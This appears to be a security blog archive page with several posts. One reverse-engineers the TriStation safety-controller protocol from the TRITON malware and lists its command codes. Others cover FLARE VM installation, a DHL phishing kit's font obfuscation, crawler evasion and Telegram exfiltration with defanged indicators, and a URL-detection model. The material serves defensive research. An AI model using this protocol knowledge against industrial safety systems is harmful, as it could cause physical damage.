We hope that readers were able to learn from our experiences with the X2e and will be inspired to use these techniques in their own analysis. Finally, Mandiant would like to thank both Tesla/SolarCity and Digi International for their efforts to remediate these vulnerabilities and for their cooperation with releasing this blog series.

A Totally Tubular Treatise on TRITON and TriStation

07 Jun 2018


In December 2017, FireEye's Mandiant discussed an incident response involving the TRITON framework. The TRITON attack and many of the publicly discussed ICS intrusions involved routine techniques where the threat actors used only what is necessary to succeed in their mission. For both INDUSTROYER and TRITON, the attackers moved from the IT network to the OT (operational technology) network through systems that were accessible to both environments. Traditional malware backdoors, Mimikatz distillates, remote desktop sessions, and other well-documented, easily-detected attack methods were used throughout these intrusions.

Despite the routine techniques employed to gain access to an OT environment, the threat actors behind the TRITON malware framework invested significant time learning about the Triconex Safety Instrumented System (SIS) controllers and TriStation, a proprietary network communications protocol. The investment and purpose of the Triconex SIS controllers leads Mandiant to assess the attacker's objective was likely to build the capability to cause physical consequences.

TriStation remains closed source and there is no official public information detailing the structure of the protocol, raising several questions about how the TRITON framework was developed. Did the actor have access to a Triconex controller and TriStation 1131 software suite? When did development first start? How did the threat actor reverse engineer the protocol, and to what extent? What is the protocol structure?

FireEye’s Advanced Practices Team was born to investigate adversary methodologies, and to answer these types of questions, so we started with a deeper look at the TRITON’s own Python scripts.


  • TRITON – Malware framework designed to operate Triconex SIS controllers via the TriStation protocol.
  • TriStation – UDP network protocol specific to Triconex controllers.
  • TRITON threat actor – The human beings who developed, deployed and/or operated TRITON.

Diving into TRITON's Implementation of TriStation

TriStation is a proprietary network protocol and there is no public documentation detailing its structure or how to create software applications that use TriStation. The current TriStation UDP/IP protocol is little understood, but natively implemented through the TriStation 1131 software suite. TriStation operates by UDP over port 1502 and allows for communications between designated masters (PCs with the software that are “engineering workstations”) and clients (Triconex controllers with special communications modules) over a network.

To us, the Triconex systems, software and associated terminology sound foreign and complicated, and the TriStation protocol is no different. Attempting to understand the protocol from ground zero would take a considerable amount of time and reverse engineering effort – so why not learn from TRITON itself? With the TRITON framework containing TriStation communication functionality, we pursued studying the framework to better understand this mysterious protocol. Work smarter, not harder, amirite?

The TRITON framework has a multitude of functionalities, but we started with the basic components:

  • TS_cnames.pyc # Compiled at: 2017-08-03 10:52:33
  • TsBase.pyc # Compiled at: 2017-08-03 10:52:33
  • TsHi.pyc # Compiled at: 2017-08-04 02:04:01
  • TsLow.pyc # Compiled at: 2017-08-03 10:46:51

TsLow.pyc (Figure 1) contains several pieces of code for error handling, but these also present some cues to the protocol structure.

Figure 1: TsLow.pyc function print_last_error()

In the TsLow.pyc’s function for print_last_error we see error handling for “TCM Error”. This compares the TriStation packet value at offset 0 with a value in a corresponding array from TS_cnames.pyc (Figure 2), which is largely used as a “dictionary” for the protocol.

Figure 2: TS_cnames.pyc TS_cst array

From this we can infer that offset 0 of the TriStation protocol contains message types. This is supported by an additional function, tcm_result, which declares type, size = struct.unpack('

Since there are only 11 defined message types, it really doesn't matter much if the type is one byte or two because the second byte will always be 0x00.

We also have indications that message type 5 is for all Execution Command Requests and Responses, so it is curious to observe that the TRITON developers called this “Command Reply.” (We won’t understand this naming convention until later.)

Next we examine TsLow.pyc’s print_last_error function (Figure 3) to look at “TS Error” and “TS_names.” We begin by looking at the ts_err variable and see that it references ts_result.

Figure 3: TsLow.pyc function print_last_error() with ts_err highlighted

We follow that thread to ts_result, which defines a few variables in the next 10 bytes (Figure 4): dir, cid, cmd, cnt, unk, cks, siz = struct.unpack('<, ts_packet[0:10]). Now things are heating up. What fun. There’s a lot to unpack here, but the most interesting thing is how this piece script breaks down 10 bytes from ts_packet into different variables.

Figure 4: ts_result with ts_packet header variables highlighted

Figure 5: tcm_result

Referencing tcm_result (Figure 5) we see that it defines type and size as the first four bytes (offset 0 – 3) and tcm_result returns the packet bytes 4:-2 (offset 4 to the end minus 2, because the last two bytes are the CRC-16 checksum). Now that we know where tcm_result leaves off, we know that the ts_reply “cmd” is a single byte at offset 6, and corresponds to the values in the TS_cnames.pyc array and TS_names (Figure 6). The TRITON script also tells us that any integer value over 100 is a likely “command reply.” Sweet.

When looking back at the ts_result packet header definitions, we begin to see some gaps in the TRITON developer's knowledge: dir, cid, cmd, cnt, unk, cks, siz = struct.unpack('<, ts_packet[0:10]). We're clearly speculating based on naming conventions, but we get an impression that offsets 4, 5 and 6 could be "direction", "controller ID" and "command", respectively. Values such as "unk" show that the developer either did not know or did not care to identify this value. We suspect it is a constant, but this value is still unknown to us.

Figure 6: Excerpt TS_cnames.pyc TS_names array, which contain TRITON actor’s notes for execution command function codes

TriStation Protocol Packet Structure

The TRITON threat actor’s knowledge and reverse engineering effort provides us a better understanding of the protocol. From here we can start to form a more complete picture and document the basic functionality of TriStation. We are primarily interested in message type 5, Execution Command, which best illustrates the overall structure of the protocol. Other, smaller message types will have varying structure.

Figure 7: Sample TriStation "Allocate Program" Execution Command, with color annotation and protocol legend

Corroborating the TriStation Analysis

Minute discrepancies aside, the TriStation structure detailed in Figure 7 is supported by other public analyses. Foremost, researchers from the Coordinated Science Laboratory (CSL) at University of Illinois at Urbana-Champaign published a 2017 paper titled "Attack Induced Common-Mode Failures on PLC-based Safety System in a Nuclear Power Plant". The CSL team mentions that they used the Triconex System Access Application (TSAA) protocol to reverse engineer elements of the TriStation protocol. TSAA is a protocol developed by the same company as TriStation. Unlike TriStation, the TSAA protocol structure is described within official documentation. CSL assessed similarities between the two protocols would exist and they leveraged TSAA to better understand TriStation. The team's overall research and analysis of the general packet structure aligns with our TRITON-sourced packet structure.

There are some awesome blog posts and whitepapers out there that support our findings in one way or another. Writeups by Midnight Blue Labs, Accenture, and US-CERT each explain how the TRITON framework relates to the TriStation protocol in superb detail.

TriStation's Reverse Engineering and TRITON's Development

When TRITON was discovered, we began to wonder how the TRITON actor reverse engineered TriStation and implemented it into the framework. We have a lot of theories, all of which seemed plausible: Did they build, buy, borrow, or steal? Or some combination thereof?

Our initial theory was that the threat actor purchased a Triconex controller and software for their own testing and reverse engineering from the "ground up", although if this was the case we do not believe they had a controller with the exact vulnerable firmware version, else they would have had fewer problems with TRITON in practice at the victim site. They may have bought or used a demo version of the TriStation 1131 software, allowing them to reverse engineer enough of TriStation for the framework. They may have stolen TriStation Python libraries from ICS companies, subsidiaries or system integrators and used the stolen material as a base for TriStation and TRITON development. But then again, it is possible that they borrowed TriStation software, Triconex hardware and Python connectors from government-owned utility that was using them legitimately.

Looking at the raw TRITON code, some of the comments may appear oddly phrased, but we do get a sense that the developer is clearly using many of the right vernacular and acronyms, showing smarts on PLC programming. The TS_cnames.pyc script contains interesting typos such as 'Set lable', 'Alocate network accepted', 'Symbol table ccepted' and 'Set program information reponse'. These appear to be normal human error and reflect neither poor written English nor laziness in coding. The significant amount of annotation, cascading logic, and robust error handling throughout the code suggests thoughtful development and testing of the framework. This complicates the theory of "ground up" development, so did they base their code on something else?

While learning from the TriStation functionality within TRITON, we continued to explore legitimate TriStation software. We began our search for "TS1131.exe" and hit dead ends sorting through TriStation DLLs until we came across a variety of TriStation utilities in MSI form. We ultimately stumbled across a juicy archive containing "Trilog v4." Upon further inspection, this file installed "TriLog.exe," which the original TRITON executable mimicked, and a couple of supporting DLLs, all of which were timestamped around August 2006.

When we saw the DLL file description "Tricon Communications Interface" and original file name "TricCom.DLL", we knew we were in the right place. With a simple look at the file strings, "BAZINGA!" We struck gold.

File Name






Compile Date


File Description

Tricon Communications Interface

Product Name

TricCom Dynamic Link Library

File Version


Original File Name



Copyright © 1993-2006 Triconex Corporation

The tr1com40.DLL is exactly what you would expect to see in a custom application package. It is a library that helps support the communications for a Triconex controller. If you've pored over TRITON as much as we have, the moment you look at strings you can see the obvious overlaps between the legitimate DLL and TRITON's own TS_cnames.pyc.

Figure 8: Strings excerpt from tr1com40.DLL

Each of the execution command "error codes" from TS_cnames.pyc are in the strings of tr1com40.DLL (Figure 8). We see "An MP has re-educated" and "Invalid Tristation I command". Even misspelled command strings verbatim such as "Non-existant data item" and "Alocate network accepted". We also see many of the same unknown values. What is obvious from this discovery is that some of the strings in TRITON are likely based on code used in communications libraries for Trident and Tricon controllers.

In our brief survey of the legitimate Triconex Corporation binaries, we observed a few samples with related string tables.


Compile Date

Reference CPP Strings Code



$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0



$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4



$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0



$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4



$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0 



$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4



$Workfile:   LAGSTRS.CPP  $ $Modtime:   Jul 21 1999 17:17:26  $ $Revision:   1.0



$Workfile:   TR1STRS.CPP  $ $Modtime:   May 16 2006 09:55:20  $ $Revision:   1.4

We extracted the CPP string tables in TR1STRS and LAGSTRS and the TS_cnames.pyc TS_names array from TRITON, and compared the 210, 204, and 212 relevant strings from each respective file.

TS_cnames.pyc TS_names and tr1com40.dll share 202 of 220 combined table strings. The remaining strings are unique to each, as seen here:

TS_cnames.TS_names (2017 pyc)

Tr1com40.dll (2006 CPP)

Go to DOWNLOAD mode


Not set



Bad message from module


Bad message type


Bad TMI version number


Module did not respond


Open Connection: Invalid SAP %d


Unsupported message for this TMI version



Wrong command


TS_cnames.pyc TS_names and Tridcom.dll (1999 CPP) shared only 151 of 268 combined table strings, showing a much smaller overlap with the seemingly older CPP library. This makes sense based on the context that Tridcom.dll is meant for a Trident controller, not a Tricon controller. It does seem as though Tr1com40.dll and TR1STRS.CPP code was based on older work.

We are not shocked to find that the threat actor reversed legitimate code to bolster development of the TRITON framework. They want to work smarter, not harder, too. But after reverse engineering legitimate software and implementing the basics of the TriStation, the threat actors still had an incomplete understanding of the protocol. In TRITON's TS_cnames.pyc we saw "Unk75", "Unk76", "Unk83" and other values that were not present in the tr1com40.DLL strings, indicating that the TRITON threat actor may have explored the protocol and annotated their findings beyond what they reverse engineered from the DLL. The gaps in TriStation implementation show us why the actors encountered problems interacting with the Triconex controllers when using TRITON in the wild.

You can see more of the Trilog and Triconex DLL files on VirusTotal.

Item Name





Tricom Communcations DLL


Parent of Tr1com40.dll

Trilog v4.1.360R


RAR Archive of TriLog



Trident Communications DLL


Seeing Triconex systems targeted with malicious intent was new to the world six months ago. Moving forward it would be reasonable to anticipate additional frameworks, such as TRITON, designed for usage against other SIS controllers and associated technologies. If Triconex was within scope, we may see similar attacker methodologies affecting the dominant industrial safety technologies.

Basic security measures do little to thwart truly persistent threat actors and monitoring only IT networks is not an ideal situation. Visibility into both the IT and OT environments is critical for detecting the various stages of an ICS intrusion. Simple detection concepts such as baseline deviation can provide insight into abnormal activity.

While the TRITON framework was actively in use, how many traditional ICS “alarms” were set off while the actors tested their exploits and backdoors on the Triconex controller? How many times did the TriStation protocol, as implemented in their Python scripts, fail or cause errors because of non-standard traffic? How many TriStation UDP pings were sent and how many Connection Requests? How did these statistics compare to the baseline for TriStation traffic? There are no answers to these questions for now. We believe that we can identify these anomalies in the long run if we strive for increased visibility into ICS technologies.

We hope that by holding public discussions about ICS technologies, the Infosec community can cultivate closer relationships with ICS vendors and give the world better insight into how attackers move from the IT to the OT space. We want to foster more conversations like this and generally share good techniques for finding evil. Since most of all ICS attacks involve standard IT intrusions, we should probably come together to invent and improve any guidelines for how to monitor PCs and engineering workstations that bridge the IT and OT networks. We envision a world where attacking or disrupting ICS operations costs the threat actor their cover, their toolkits, their time, and their freedom. It's an ideal world, but something nice to shoot for.

Thanks and Future Work

There is still much to do for TRITON and TriStation. There are many more sub-message types and nuances for parsing out the nitty gritty details, which is hard to do without a controller of our own. And although we’ve published much of what we learned about the TriStation here on the blog, our work will continue as we continue our study of the protocol.

Thanks to everyone who did so much public research on TRITON and TriStation. We have cited a few individuals in this blog post, but there is a lot more community-sourced information that gave us clues and leads for our research and testing of the framework and protocol. We also have to acknowledge the research performed by the TRITON attackers. We borrowed a lot of your knowledge about TriStation from the TRITON framework itself.

Finally, remember that we're here to collaborate. We think most of our research is right, but if you notice any errors or omissions, or have ideas for improvements, please spear phish contact:

Recommended Reading

Appendix A: TriStation Message Type Codes

The following table consists of hex values at offset 0 in the TriStation UDP packets and the associated dictionary definitions, extracted verbatim from the TRITON framework in library TS_cnames.pyc.

Value at 0x0

Message Type


Connection Request


Connection Response


Disconnect Request


Disconnect Response


Execution Command


Ping Command


Connection Limit Reached


Not Connected


MPS Are Dead


Access Denied


Connection Failed

Appendix B: TriStation Execution Command Function Codes

The following table consists of hex values at offset 6 in the TriStation UDP packets and the associated dictionary definitions, extracted verbatim from the TRITON framework in library TS_cnames.pyc.

Value at 0x6

TS_cnames String


0: 'Start download all',


1: 'Start download change',


2: 'Update configuration',


3: 'Upload configuration',


4: 'Set I/O addresses',


5: 'Allocate network',


6: 'Load vector table',


7: 'Set calendar',


8: 'Get calendar',


9: 'Set scan time',


10: 'End download all',


11: 'End download change',


12: 'Cancel download change',


13: 'Attach TRICON',


14: 'Set I/O address limits',


15: 'Configure module',


16: 'Set multiple point values',


17: 'Enable all points',


18: 'Upload vector table',


19: 'Get CP status ',


20: 'Run program',


21: 'Halt program',


22: 'Pause program',


23: 'Do single scan',


24: 'Get chassis status',


25: 'Get minimum scan time',


26: 'Set node number',


27: 'Set I/O point values',


28: 'Get I/O point values',


29: 'Get MP status',


30: 'Set retentive values',


31: 'Adjust clock calendar',


32: 'Clear module alarms',


33: 'Get event log',


34: 'Set SOE block',


35: 'Record event log',


36: 'Get SOE data',


37: 'Enable OVD',


38: 'Disable OVD',


39: 'Enable all OVDs',


40: 'Disable all OVDs',


41: 'Process MODBUS',


42: 'Upload network',


43: 'Set lable',


44: 'Configure system variables',


45: 'Deconfigure module',


46: 'Get system variables',


47: 'Get module types',


48: 'Begin conversion table download',


49: 'Continue conversion table download',


50: 'End conversion table download',


51: 'Get conversion table',


52: 'Set ICM status',


53: 'Broadcast SOE data available',


54: 'Get module versions',


55: 'Allocate program',


56: 'Allocate function',


57: 'Clear retentives',


58: 'Set initial values',


59: 'Start TS2 program download',


60: 'Set TS2 data area',


61: 'Get TS2 data',


62: 'Set TS2 data',


63: 'Set program information',


64: 'Get program information',


65: 'Upload program',


66: 'Upload function',


67: 'Get point groups',


68: 'Allocate symbol table',


69: 'Get I/O address',


70: 'Resend I/O address',


71: 'Get program timing',


72: 'Allocate multiple functions',


73: 'Get node number',


74: 'Get symbol table',


75: 'Unk75',


76: 'Unk76',


77: 'Unk77',


78: 'Unk78',


79: 'Unk79',


80: 'Go to DOWNLOAD mode',


81: 'Unk81',




83: 'Unk83',


































100: 'Command rejected',


101: 'Download all permitted',


102: 'Download change permitted',


103: 'Modification accepted',


104: 'Download cancelled',


105: 'Program accepted',


106: 'TRICON attached',


107: 'I/O addresses set',


108: 'Get CP status response',


109: 'Program is running',


110: 'Program is halted',


111: 'Program is paused',


112: 'End of single scan',


113: 'Get chassis configuration response',


114: 'Scan period modified',


115: '<115>',


116: '<116>',


117: 'Module configured',


118: '<118>',


119: 'Get chassis status response',


120: 'Vectors response',


121: 'Get I/O point values response',


122: 'Calendar changed',


123: 'Configuration updated',


124: 'Get minimum scan time response',


125: '<125>',


126: 'Node number set',


127: 'Get MP status response',


128: 'Retentive values set',


129: 'SOE block set',


130: 'Module alarms cleared',


131: 'Get event log response',


132: 'Symbol table ccepted',


133: 'OVD enable accepted',


134: 'OVD disable accepted',


135: 'Record event log response',


136: 'Upload network response',


137: 'Get SOE data response',


138: 'Alocate network accepted',


139: 'Load vector table accepted',


140: 'Get calendar response',


141: 'Label set',


142: 'Get module types response',


143: 'System variables configured',


144: 'Module deconfigured',


145: '<145>',


146: '<146>',


147: 'Get conversion table response',


148: 'ICM print data sent',


149: 'Set ICM status response',


150: 'Get system variables response',


151: 'Get module versions response',


152: 'Process MODBUS response',


153: 'Allocate program response',


154: 'Allocate function response',


155: 'Clear retentives response',


156: 'Set initial values response',


157: 'Set TS2 data area response',


158: 'Get TS2 data response',


159: 'Set TS2 data response',


160: 'Set program information reponse',


161: 'Get program information response',


162: 'Upload program response',


163: 'Upload function response',


164: 'Get point groups response',


165: 'Allocate symbol table response',


166: 'Program timing response',


167: 'Disable points full',


168: 'Allocate multiple functions response',


169: 'Get node number response',


170: 'Symbol table response',




























































200: 'Wrong command',


201: 'Load is in progress',


202: 'Bad clock calendar data',


203: 'Control program not halted',


204: 'Control program checksum error',


205: 'No memory available',


206: 'Control program not valid',


207: 'Not loading a control program',


208: 'Network is out of range',


209: 'Not enough arguments',


210: 'A Network is missing',


211: 'The download time mismatches',


212: 'Key setting prohibits this operation',


213: 'Bad control program version',


214: 'Command not in correct sequence',


215: '<215>',


216: 'Bad Index for a module',


217: 'Module address is invalid',


218: '<218>',


219: '<219>',


220: 'Bad offset for an I/O point',


221: 'Invalid point type',


222: 'Invalid Point Location',


223: 'Program name is invalid',


224: '<224>',


225: '<225>',


226: '<226>',


227: 'Invalid module type',


228: '<228>',


229: 'Invalid table type',


230: '<230>',


231: 'Invalid network continuation',


232: 'Invalid scan time',


233: 'Load is busy',


234: 'An MP has re-educated',


235: 'Invalid chassis or slot',


236: 'Invalid SOE number',


237: 'Invalid SOE type',


238: 'Invalid SOE state',


239: 'The variable is write protected',


240: 'Node number mismatch',


241: 'Command not allowed',


242: 'Invalid sequence number',


243: 'Time change on non-master TRICON',


244: 'No free Tristation ports',


245: 'Invalid Tristation I command',


246: 'Invalid TriStation 1131 command',


247: 'Only one chassis allowed',


248: 'Bad variable address',


249: 'Response overflow',


250: 'Invalid bus',


251: 'Disable is not allowed',


252: 'Invalid length',


253: 'Point cannot be disabled',


254: 'Too many retentive variables',




256: 'Unknown reject code'


14 Nov 2018

FLARE VM is the first of its kind reverse engineering and malware analysis distribution on Windows platform. Since its introduction in July 2017, FLARE VM has been continuously trusted and used by many reverse engineers, malware analysts, and security researchers as their go-to environment for analyzing malware. Just like the ever-evolving security industry, FLARE VM has gone through many major changes to better support our users’ needs. FLARE VM now has a new installation, upgrade, and uninstallation process, which is a long anticipated feature requested by our users. FLARE VM also includes many new tools such as IDA 7.0, radare and YARA. Therefore, we would like to share these updates, especially the new installation process.


We strongly recommend you use FLARE VM within a virtualized environment for malware analysis to protect and isolate your physical device and network from malicious activities. We assume you already have experience setting up and configuring your own virtualized environment. Please create a new virtual machine (VM) and perform a fresh installation of Windows. FLARE VM is designed to be installed on Windows 7 Service Pack 1 or newer; therefore, you can select a version of windows that best suits your needs. From this point forward, all installation steps should be performed within your VM.

Once you have a VM with a fresh installation of Windows, use one of the following URLs to download the compressed FLARE VM repository onto your VM:

Figure 1: Download FLARE VM repo

Then, use the following steps to install FLARE VM:

  1. Decompress the FLARE VM repository to a directory of your choosing.
  2. Start a new session of PowerShell with escalated privileges. FLARE VM attempts to install additional software and modify system settings; therefore, escalated privileges are required for installation.
  3. Within PowerShell, change directory to the location where you have decompressed the FLARE VM repository.
  4. Enable unrestricted execution policy for PowerShell by executing the following command and answering “Y” when prompted by PowerShell: Set-ExecutionPolicy unrestricted
  5. Execute the install.ps1 installation script. You will be prompted to enter the current user’s password. FLARE VM needs the current user’s password to automatically login after a reboot when installing. Optionally, you can specify the current user’s password by passing the “-password ” at the command line.

Figure 2: Start PowerShell as administrator

Figure 3: Ready to install FLARE VM

The rest of the installation process is fully automated. Depending upon your internet speed the entire installation may take up to one hour to finish. The VM also reboots multiple times due to the numerous software installations’ requirements. Once the installation completes, the PowerShell prompt remains open waiting for you to hit any key before exiting. After completing the installation, you will be presented with the following desktop environment:

Figure 4: FLARE VM installation completes

Congratulations! You have successfully installed FLARE VM. At this point we recommend you power off the VM, switch the VM networking mode to Host-Only, and then take a snapshot to save a clean state of your analysis VM.


The biggest improvement for FLARE VM is the ability to perform a proper update and uninstallation. The older version of FLARE VM came as a PowerShell script to install many chocolatey packages, one at a time; therefore, we were unable to include new packages when updating FLARE VM. In the past, our users had to reinstall FLARE VM completely, which is time consuming, or manually install the new package, which is error prone. To solve this issue, we have converted FLARE VM itself into a chocolatey package. Whenever a new tool is available we will also release a new version of FLARE VM. With this new design we can simply execute “choco upgrade all” to get the newest version of FLARE VM along with any new packages we have released. You can also safely uninstall all FLARE VM packages by executing “choco uninstall flarevm.installer.flare”.

Our new FLARE VM is also updated to use Python 3.7 as the default Python interpreter. As a result, many python scripts may fail to execute. To maintain support for older scripts, we keep Python 2.7 installed in parallel with Python 3.7. We can easily switch between different versions by using the Python launcher. Run “py -2.7 ” to use Python 2.7, or “py ” to use the default Python 3.7 interpreter. For more details on the Python launcher, please refer to the following URL:

Additionally, the new FLARE VM changes the location where Fakenet-NG saves its output when launched via the shortcut in the FLARE folder or taskbar pin. Instead of saving directly to the desktop, to reduce clutter, Fakenet-NG will store all its output in “Desktop\fakenet_logs”.

Compared to older versions this version of FLARE VM comes with many new tools and software packages. Most notably, this release adds the following:

  • IDA Free 7.0
  • radare2 to support 64-bit disassembly
  • The labs for the Practical Malware Analysis book
  • pdfid, pdf-parser, and PdfStreamdumper to analyze malicious PDF documents
  • The Malcode Analyst Pack
  • Yara for signature matching
  • The Cygwin Linux environment on windows
  • PowerShell transcription and script block logging
    • PowerShell transcripts can be found in “Desktop\PS_Transcripts”

Available Packages

While we attempt to make the tools available as shortcuts within the FLARE folder, there are several available from command-line only. Please see the online documentation for the most up to date list. Here is an incomplete list of some major tools available on FLARE VM:

  • Disassemblers:
    • IDA Free 5.0 and IDA Free 7.0
    • Binary Ninja
    • Radare2 and Cutter
  • Debuggers:
    • OllyDbg and OllyDbg2
    • x64dbg
    • Windbg
  • File Format parser:
    • CFF Explorer, PEView, PEStudio
    • PdfStreamdumper, pdf-parser, pdfid
    • ffdec
    • offvis and officemalscanner
    • PE-bear
  • Decompilers:
    • RetDec
    • Jd-gui and bytecode-viewer
    • dnSpy
    • IDR
    • VBDecompiler
    • Py2ExeDecompiler
  • Monitoring tools:
    • SysInternal suite
    • RegShot
  • Utilities:
    • Hex Editors (010 editor, HxD and File Insight)
    • FLOSS (FireEye Labs Obfuscated String Solver)
    • Fakenet-NG
    • Yara
    • Malware Analyst Pack


The FLARE team continues to support and improve FLARE VM to be the de facto distribution for security research, incident response, and malware analysis on Windows platform. We greatly appreciate the numerous bug reports, tool requests, and feature recommendations from everyone. We hope FLARE VM, along with many other FLARE open source projects, can help you do your work better, easier, and faster.

We are always looking for talented folks to join our team. The FLARE Team may be a good place for you if:

  • You eat, sleep, and speak disassembly and malware all day long.
  • You would like to push the state of the art for reverse engineering and malware analysis.

Please check out our careers page, or send us an email. Happy Reversing!

Phishing Campaign Leverages WOFF Obfuscation and Telegram Channels for Communication

26 Jan 2021

FireEye Email Security recently encountered various phishing campaigns, mostly in the Americas and Europe, using source code obfuscation with compromised or bad domains. These domains were masquerading as authentic websites and stole personal information such as credit card data. The stolen information was then shared to cross-platform, cloud-based instant messaging applications.

Coming off a busy holiday season with a massive surge in deliveries, this post highlights a phishing campaign involving a fake DHL tracking page. While phishing attacks targeting users of shipping services is not new, the techniques used in these examples are more complex than what would be found in an off-the-shelf phishing kit.

This campaign uses a WOFF-based substitution cypher, localization specific targeting, and various evasion techniques which we unravel here in this blog.

Attack Flow

The attack starts with an email imitating DHL, as seen in Figure 1. The email tries to trick the recipient into clicking on a link, which would take them to a fake DHL website. In Figure 2, we can see the fake page asking for credit card details that, if submitted, would give the user a generic response while in the background the credit card data is shared with the attackers.

Figure 1: DHL phishing attempt

Figure 2: Fake website imitating DHL tracking

This DHL phishing campaign uses a rare technique for obfuscating its source page. The page source contains proper strings, valid tags, and appropriate formatting, but contains encoded text that would render gibberish without decoding prior to loading the page, as seen in Figure 3. Typically, decoding such text is done by including script functions within the code. Yet in this case, the decoding functions are not contained in the script.

Figure 3: Snippet of the encoded text on page source

The decoding is done by a Web Open Font Format (WOFF) font file, which happens upon loading the page in a browser and will not be visible in the page content itself. Figure 4 shows the substitution cipher method and the WOFF font file. The attacker does this to evade detection by security vendors. Many security vendors use static or regex signature-based rules, so this method will break those naïve-based conditions.

Figure 4: WOFF substitution cipher

Loading this custom font which decodes the text is done inside the Cascading Style Sheets (CSS). This technique is rare as JavaScript functions are traditionally used to encrypt and decrypt HTML text.

Figure 5: CSS file for loading WOFF font file

Figure 5 shows the CSS file used to load the WOFF font file. We have also seen the same CSS file, style.css, being hosted on the following domains:

  • hxxps://www.lifepointecc[.]com/wp-content/sinin/style.css
  • hxxps://candyman-shop[.]com/auth/DHL_HOME/style.css
  • hxxps://mail.rsi-insure[.]com/vendor/ship/dhexpress/style.css
  • hxxps://www.scriptarticle[.]com/thro/HOME/style.css

These legitimate-looking domains are not hosting any phishing websites as of now; instead, they appear to be a repository for attackers to use in their phishing campaigns. We have seen similar phishing attacks targeting the banking sector in the past, but this is newer for delivery websites.  

Notable Techniques


The phishing page displays the local language based on the region of the targeted user. The localization code (Figure 6) supports major languages spoken in Europe and the Americas such as Spanish, English, and Portuguese.

Figure 6: Localization code

The backend contains PHP resource files for each supported language (Figure 7), which are picked up dynamically based on the user’s IP address location.

Figure 7: Language resource files


This campaign employs a variety of techniques to evade detection. This will not serve up a phishing page if the request came from certain blocked IP addresses. The backend code (Figure 8) served the users with a "HTTP/1.1 403 Forbidden" response header under the following conditions:

  • IP has been seen five times (AntiBomb_User func)
  • IP host resolves to its list of avoided host names ('google', 'Altavista', 'Israel', 'M247', 'barracuda', '' and more) (AntiBomb_WordBoot func)
  • IP is on its own local blocklist csv (x.csv in the kit) (AntiBomb_Boot func)
  • IP has seen POSTing three times (AntiBomb_Block func)

Figure 8: Backend evasion code

After looking at the list of blocked hosts, we could deduce that the attackers were trying to block web crawlers.

Data Theft

The attackers behind this phishing campaign attempted to steal credentials, credit card data, and other sensitive information. The stolen data is sent to email addresses and Telegram channels controlled by the attacker. We uncovered a Telegram channel where data is being sent using the Telegram Bot API shown in Figure 9.

Figure 9: Chat log

While using php mail() function to send stolen credentials is quite common, in the near past, encrypted instant messaging applications such as Telegram have been used for sending phished information back to command and control servers.

We were able to access one of the Telegram channels controlled by the attacker as shown in Figure 10. The sensitive information being sent in the chat includes IP addresses and credit card data.

Figure 10: Telegram channel with stolen information


Attackers (and especially phishers) are always on the hunt for new ways to evade detection by security products. Obfuscation gives the attackers an edge, and makes it harder for security vendors to protect their customers.

By using instant messaging applications, attackers get user data in real time and victims have little to respond once their personal information is compromised.

Indicators of Compromise (IOC)

FireEye Email Security utilizing FAUDE (FireEye Advanced URL Detection Engine) protects customers from these types of phishing threats. Unlike traditional anti-phishing techniques dependent on static inspection of phishing URL content, FAUDE uses multiple artificial intelligence (AI) and machine learning (ML) engines to more effectively thwart these attacks.

From December 2020 until the time of posting, our FAUDE detection engine saw more than 100 unique URLs hosting DHL phishing pages with obfuscated source code, including:

  • hxxps://bit[.]ly/2KJ03RH
  • hxxps://greencannabisstore[.]com/0258/redirect-new.php
  • hxxps://directcallsolutions[.]co[.]za/CONTACT/DHL_HOME/
  • hxxps://danapluss[.]com/wp-admin/dhl/home/
  • hxxp://r.cloudcyberlink[.]digital/ (multiple paths using same domain)
Email Addresses
  • medmox2k@yandex[.]com
  • o.spammer@yandex[.]com
  • cameleonanas2@gmail[.]com
Telegram Users
  • @Saitama330
  • @cameleon9
  • Md5: 83b9653d14c8f7fb95d6ed6a4a3f18eb)
  • Sha256: D79ec35dc8277aff48adaf9df3ddd5b3e18ac7013e8c374510624ae37cdfba31
  • MD5: b051d61b693c76f7a6a5f639177fb820
  • SHA-256: 5dd216ad75ced5dd6acfb48d1ae11ba66fb373c26da7fc5efbdad9fd1c14f6e3






































Training Transformers for Cyber Security Tasks: A Case Study on Malicious URL Prediction

21 Jan 2021


  • Perform a case study on using Transformer models to solve cyber security problems
  • Train a Transformer model to detect malicious URLs under multiple training regimes
  • Compare our model against other deep learning methods, and show it performs on-par with other top-scoring models
  • Identify issues with applying generative pre-training to malicious URL detection, which is a cornerstone of Transformer training in natural language processing (NLP) tasks
  • Introduce novel loss function that balances classification and generative loss to achieve improved performance on the malicious URL detection task


Over the past three years Transformer machine learning (ML) models, or “Transformers” for short, have yielded impressive breakthroughs in a variety of sequence modeling problems, specifically natural language processing (NLP). For example, OpenAI’s latest GPT-3 model is capable of generating long segments of grammatically-correct prose from scratch. Spinoff models, such as those developed for question and answering, are capable of correlating context over multiple sentences. AI Dungeon, a single and multiplayer text adventure game, uses Transformers to generate plausible unlimited content in a variety of fantasy settings. Transformers’ NLP modeling capabilities are apparently so powerful that they pose security risks in their own right, in terms of their potential power to spread disinformation, yet on the other side of the coin, they can be used as powerful tools to detect and mitigate disinformation campaigns. For example, in previous research by the FireEye Data Science team, a NLP Transformer was fine-tuned to detect disinformation on social media sites.

Given the power of these Transformer models, it seems natural to wonder if we can apply them to other types of cyber security problems that do not necessarily involve natural language, per se. In this blog post, we discuss a case study in which we apply Transformers to malicious URL detection. Studying Transformer performance on URL detection problem is a first logical step to extending Transformers to more generic cyber security tasks, since URLs are not technically natural language sequences but share some common characteristics with NLP.

In the following sections, we outline a typical Transformer architecture and discuss how we adapt it to URLs with a character-focused tokenization. We then discuss loss functions we employ to guide the training of the model, and finally compare our training approaches to more conventional ML-based modeling options.

Adapting Transformers to URLs

